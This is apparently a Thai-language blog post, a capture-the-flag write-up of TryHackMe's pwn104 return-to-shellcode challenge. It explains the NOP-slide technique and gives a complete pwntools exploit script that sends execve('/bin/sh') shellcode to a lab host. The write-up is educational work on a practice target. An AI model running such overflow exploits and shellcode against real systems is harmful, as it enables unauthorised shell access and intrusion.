Return To Shellcode
session นี้จะคล้ายๆ กับ return to win จากที่เรา return ไป ที่ address ของ function ที่เราต้องการ แต่เราจะ return ไปที่ address ที่เรา โยน shellcode ของเราลงไปแทน
โจทย์ที่นำมา ref มาจาก tryhackme pwn101 ข้อ pwn104
จะเห็นว่าเป็น 64 bit
gdb info func ดูก็จะมีแค่ main() ที่น่าสนใจ
ghidra เข้ามาดู c code ใน main() ก็จะพบว่า มีการใช้ format string พ่นค่า address ของ buffer ที่เราจะ return ไปออกมาให้ และก็มีการรับค่าโดย read() ที่เราจะทำ buffer overflow
พอลอง run ดูก็จะพบว่า address ที่พ่นออกมามีการ random ทุกครั้งที่ run program ขึ้นมาใหม่
ดังนั้นเราไม่สามารถที่จะ fix ค่า RP ที่เราจะ return ไปได้ เราเลยต้องเขียน python script ให้รับค่าในส่วนนี้ด้วย
Get mirakiht’s stories in your inbox
Join Medium for free to get updates from this writer.
และในการทำ return to shellcode เราต้องใช้ คำสั่ง checksec เพื่อเช็คว่ามีการ NX enabled ไหม ถ้า NX enabled หมายความว่า เราไม่สามารถ execute shellcode ในโปรแกรมนี้ได้ ซึ่งเป็น protection อย่างหนึ่ง
จะเห็นว่า NX disabled แสดงว่าเราสามารถ execute shellcode ใน program นี้ได้
เอาละเรามาดู stack ของ program นี้กัน
จะเห็นว่ามีการใส่ nop 0x90 จำได้ไหม nop ก็คือ processor instruction หนึ่งซึ่งมีหน้าที่ คือ no operation คือ ไม่ทำอะไรเลย ที่เราต้องใส่ก็เพราะว่า เวลาที่ rip(register intruction pointer) ไปชี้ที่ address ที่เรา returnไป นั้นข้างบน buffer มันมีสิ่งที่เราไม่ต้องการอยู่ แล้วแต่ compiler ว่ามันจะใส่อะไรเข้ามาบ้าง ดังนั้นเราจึงต้องใส่ nop เพื่อคั่นกลางระหว่างสิ่งที่เราไม่ต้องการ กับ shellcode ของเรา เพื่อให้มัน slide มาที่ shellcode ของเราแบบชิลๆโดยที่ไม่ต้องใส่ address shellcode ที่เราโยนเข้าไปใน buffer ให้แป๊ะ ขอแค่เป็น address ที่เราใส่ nop ไว้ก็พอ เทคนิคนี้เรียกว่า nop slide
และอีกสิ่งหนึ่งที่สำคัญคือ จำนวน byte ของ shellcode เราต้องสร้าง shellcode ให้ byte ไม่เกิน buffer ที่เรามี ถ้า shellcode ของเรา byte เกินมันก็จะล้น buffer ดังนั้น shellcode ของเราต้องมี byte ให้น้อยที่สุดเท่าที่จำเป็นและมีสิ่งที่เราต้องการจะใช้เพียงพอ
เอาละมาเขียน python script exploit กัน
from pwn import *
p = remote("10.10.112.93", 9004 )
sleep(3)
leak = p.recv(1000)[-15:] #recive random RP buffer
leak = int(leak, base=16)
offset = 88
log.success("stack leak at : "+ hex(leak))shell = b"\x48\x31\xf6\x48\x31\xd2\x56\xb0\x3b\x48\xb9\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x51\x48\x89\xe7\x0f\x05" #25 bytepayload = b''
payload += b"\x90"*20
payload += shell
payload += b"A"*43
payload += p64(leak)
p.sendline(payload)
p.interactive()
ได้ flag ออกมาแล้วว enjoy ครับทุกคนนน






